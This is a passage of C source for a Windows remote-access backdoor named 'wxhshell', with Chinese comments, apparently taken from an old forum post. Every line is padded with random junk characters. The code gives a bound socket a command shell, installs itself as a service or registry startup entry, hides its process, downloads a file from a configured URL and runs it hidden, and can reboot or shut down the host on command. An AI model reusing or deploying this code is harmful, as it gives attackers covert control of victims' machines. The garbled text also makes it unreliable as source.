    switch(cmd[0]) { M"P$hb'F  
  -Y+[`0$'  
  // 帮助 Oo#wPT;1^(  
  case '?': { #7g~U m%p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &'(:xjN  
    break; zL> nDnL 4  
  } 7gJ`G@y  
  // 安装 'T.> oP0>  
  case 'i': { 1~_]"Y'  
    if(Install()) z~X]v["d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K7y}R%Q F  
    else a#mdD:,cF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bb#w]!q  
    break; FS']3uJ/  
    } ,@2O_O`:  
  // 卸载 @5kN L~2  
  case 'r': { aUJ&  
    if(Uninstall()) .2u%;)S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QXF>xZ~  
    else 'QkL%z0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,;{mH]"s  
    break; zZA I"\;W  
    } @@! R Iq!  
  // 显示 wxhshell 所在路径 cOS|B1xG  
  case 'p': { 0tl  
    char svExeFile[MAX_PATH]; D'</eJ  
    strcpy(svExeFile,"\n\r"); #$#{QEh0}  
      strcat(svExeFile,ExeFile); mDo]5 i<  
        send(wsh,svExeFile,strlen(svExeFile),0); ?B[Z9Ef"8l  
    break; w%L0mH2]ng  
    }  m>a6,#I  
  // 重启 < 'T6k\  
  case 'b': { VGe/;&1h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |&C.P?q  
    if(Boot(REBOOT)) [y'jz~9c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9}":}!  
    else { ^&.F!  
    closesocket(wsh); 4}l,|7_&I  
    ExitThread(0); ";xG[ne$Be  
    } s=28.  
    break; o{:D  
    } ,g/UPK8K=  
  // 关机 ku\_M  
  case 'd': { 4cs`R+]o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;B tRDKn  
    if(Boot(SHUTDOWN)) kR'!;}s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C YnBZ  
    else { r{Xh]U&>k  
    closesocket(wsh); /LJ?JwAvg5  
    ExitThread(0); bk"` hq  
    } -BB5bsjA  
    break; JSO>rpO  
    } rs!J<CRq  
  // 获取shell - 5A"TNU  
  case 's': { |~'{ [?a*  
    CmdShell(wsh); Q%@l`V)Rs  
    closesocket(wsh); 8 v&5)0u  
    ExitThread(0); 0xH$!?{b  
    break; +DVU"d  
  }  #p\sw  
  // 退出 Z\NC+{7k]  
  case 'x': { <m9IZI Y<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RJ@d_~%U  
    CloseIt(wsh); DGp'Xx_8  
    break; 7 +?  
    } A*@!tz<  
  // 离开 qxE~Moht  
  case 'q': { @8Co5`CVl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >)!"XFbb  
    closesocket(wsh); 2)mKcUL-  
    WSACleanup(); |QXW$  
    exit(1); B<6*Ktc  
    break; ^W'\8L  
        } e}7qZ^  
  } A D~\/V&+  
  } Px)VDs=k  
lQ)ZsFs=  
  // 提示信息 :#b[gWl0Ru  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u\>Ed9^  
} 7CNEP2}:R  
  } ]%G[<zD,1  
(}bP`[@rX!  
  return; MYjDO>(_  
} |L0s  
$JcU0tPq0  
// shell模块句柄 y?Fh%%uNr  
int CmdShell(SOCKET sock) tpA7"JD  
{ u5%.T0 P  
STARTUPINFO si; Jw9|I)H  
ZeroMemory(&si,sizeof(si)); i1u & -#k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d(R3![:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K2)),_,@5+  
PROCESS_INFORMATION ProcessInfo; XPb7gd"% W  
char cmdline[]="cmd"; u:fiil$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C9({7[k^%  
  return 0; hX~IZ((Hi8  
} #y2="$ V  
1\_4# @')  
// 自身启动模式 !MQo= k  
int StartFromService(void) R1A!ob  
{ Y#C=ku  
typedef struct sL[,J[AN;  
{ 4l[f}Z  
  DWORD ExitStatus; 5jkW@  
  DWORD PebBaseAddress; `W{Ye=|[d#  
  DWORD AffinityMask; 7?B]X%  
  DWORD BasePriority; BxlpI[yWq  
  ULONG UniqueProcessId; nqy\xK#.^  
  ULONG InheritedFromUniqueProcessId; 3 u-j`7  
}   PROCESS_BASIC_INFORMATION; N'|zPFk g  
G8eAj%88  
PROCNTQSIP NtQueryInformationProcess; (;cbgHo%}  
a\^DthZ!;|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !d%OoRSU'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~M,nCG^4  
/zPN9 db  
  HANDLE             hProcess; f`H}Y!W(  
  PROCESS_BASIC_INFORMATION pbi; !P#lTyz  
${mHbqN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $wC]S4C  
  if(NULL == hInst ) return 0; N2=gSEY  
/ ijj;9EB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oP_'0h0 X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e)>Z&e,3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0Tg/R4dI  
a&4>xZU #  
  if (!NtQueryInformationProcess) return 0; ejD;lvf  
En-eG37 l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =DvnfT<  
  if(!hProcess) return 0; "X"DTP1b  
A5B 5pJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M9 _h0  
u6cWLV t  
  CloseHandle(hProcess); W<v?D6dFq  
0M-Zp[w\-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X~%Wg*Hm  
if(hProcess==NULL) return 0; 0 UjT<t^F  
&c?-z}=G  
HMODULE hMod; \MX>=  
char procName[255]; y7$e7~}/  
unsigned long cbNeeded; 3mpEF<z  
Fg`r:,(a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GfPe0&h  
19&!#z  
  CloseHandle(hProcess); Dy0cA| E  
cAA J7?  
if(strstr(procName,"services")) return 1; // 以服务启动 Vg&` f  
`{8Sr)  
  return 0; // 注册表启动 H&`p9d*(e  
} 4s.wQ2m  
%GjF;dJ  
// 主模块 h"M}Iz~|V?  
int StartWxhshell(LPSTR lpCmdLine) `N ;!=7y7Y  
{ x-(?^g  
  SOCKET wsl; ,$7LMTVDrE  
BOOL val=TRUE; \d%&_rp  
  int port=0; DJT)7l{  
  struct sockaddr_in door; Y Q3%vH5#y  
HFvhrG  
  if(wscfg.ws_autoins) Install(); nEyP Nm )  
NNb17=q_v  
port=atoi(lpCmdLine); HO}aLp  
,HYz-sK.  
if(port<=0) port=wscfg.ws_port; k7f[aM5]  
,k+jx53XV  
  WSADATA data; _N0x&9S$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H\ 8.T:>  
4- N>#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I)O%D3wfMW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )"=BbMfhu  
  door.sin_family = AF_INET; r]" >  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hFyN|Dqhds  
  door.sin_port = htons(port); }DY^a'wJ-  
boJQ3Xc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qS+'#Sn  
closesocket(wsl); SQWA{f  
return 1; ~iyd p  
} N@Bqe{r6j  
YtxBkKiJ2V  
  if(listen(wsl,2) == INVALID_SOCKET) { Z;SRW92@  
closesocket(wsl); UFC.!t-Z  
return 1; : :e=6i  
} V]`V3cy1+3  
  Wxhshell(wsl); !V7VM_}@Y  
  WSACleanup(); ^7~=+0cF]  
mJ !}!~:  
return 0; W^P%k:anK  
.@/5Ln  
} kSoAnJ|  
6D/5vM1  
// 以NT服务方式启动 %t:1)]2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pjrVPi5&t  
{  w~&bpCB!  
DWORD   status = 0; Kx ?}%@b  
  DWORD   specificError = 0xfffffff; ]l}8  
hRtnO|Z6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L'z;*N3D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6EP5n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qA Jgz7=c  
  serviceStatus.dwWin32ExitCode     = 0; =DG aK0n  
  serviceStatus.dwServiceSpecificExitCode = 0; f.Q?-M  
  serviceStatus.dwCheckPoint       = 0; 0'c<EJ  
  serviceStatus.dwWaitHint       = 0; =HYMX "s  
d\'M ~VQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rS{Rzs^@  
  if (hServiceStatusHandle==0) return; b> &kL  
FV!  
status = GetLastError(); 64h r| v  
  if (status!=NO_ERROR) @fPiGu`L  
{ 'R,1Jmx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *.n9D  
    serviceStatus.dwCheckPoint       = 0; T->O5t c  
    serviceStatus.dwWaitHint       = 0; Y&]pC  
    serviceStatus.dwWin32ExitCode     = status; Ab cmI*y  
    serviceStatus.dwServiceSpecificExitCode = specificError; |P>> ^,iUn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2px l!  
    return; /vwGSuk._  
  } aG`G$3_wx  
u L/*,[}'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f*bs{H'5  
  serviceStatus.dwCheckPoint       = 0; 3 3s.p'  
  serviceStatus.dwWaitHint       = 0; 5 S7\m5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P=(\3ok  
} SI8mr`gJ  
hdfNXZ{A"  
// 处理NT服务事件,比如:启动、停止 D@7\Fg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yrE|cH'f0  
{ )I$_wB!UV  
switch(fdwControl) JG0TbM1(Bt  
{ 9Z6O{ >  
case SERVICE_CONTROL_STOP:  Z:u7`%  
  serviceStatus.dwWin32ExitCode = 0; AIN_.=]"?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~^KemwogPN  
  serviceStatus.dwCheckPoint   = 0; /8 Ca8Ju  
  serviceStatus.dwWaitHint     = 0; f\2'/g}6a  
  { '~<D[](/F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |JnJ=@-y  
  } 6 @'v6 1'  
  return; vAHJP$x  
case SERVICE_CONTROL_PAUSE: |A[Le ;,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Go+f0aig  
  break; | t3_E  
case SERVICE_CONTROL_CONTINUE: UXR$7<D+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .2Y"=|NdA  
  break; ,d&~#W]  
case SERVICE_CONTROL_INTERROGATE:  ceyZ4M  
  break; ;_1D-Mf  
}; drNfFx 2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [gqV}Y"Md  
} eiJ $}\qJL  
7z5AI!s_  
// 标准应用程序主函数 83OOM;'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V`G)8?%Vy  
{ u=p([ 5]  
*^}(LoPZ  
// 获取操作系统版本 xBl}=M?Qu  
OsIsNt=GetOsVer(); m7~kRY514  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +p>tO\mo  
@0-<|,^]  
  // 从命令行安装 AW%^Xt  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]M-j_("&  
z;2kKQZm  
  // 下载执行文件 /2~qm/%Q  
if(wscfg.ws_downexe) { f0O"Hm$Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lk)38.  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5ju\!Re3X  
} =Pd3SC})6V  
|J?KHI  
if(!OsIsNt) { cK1r9ED|  
// 如果时win9x,隐藏进程并且设置为注册表启动 Bd31> %6  
HideProc(); doW_v u  
StartWxhshell(lpCmdLine); 5O]ph[7  
} at/besW  
else I[c/) N  
  if(StartFromService()) T%VC$u4F  
  // 以服务方式启动 C8e{9CF  
  StartServiceCtrlDispatcher(DispatchTable); qI5_@[S*  
else 3tA6r  
  // 普通方式启动 8%U+y0j6b  
  StartWxhshell(lpCmdLine); roVGS{4T\  
B24wn8<  
return 0; |36d<b Io  
}
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只看该作者 1 发表于: 2006-10-10
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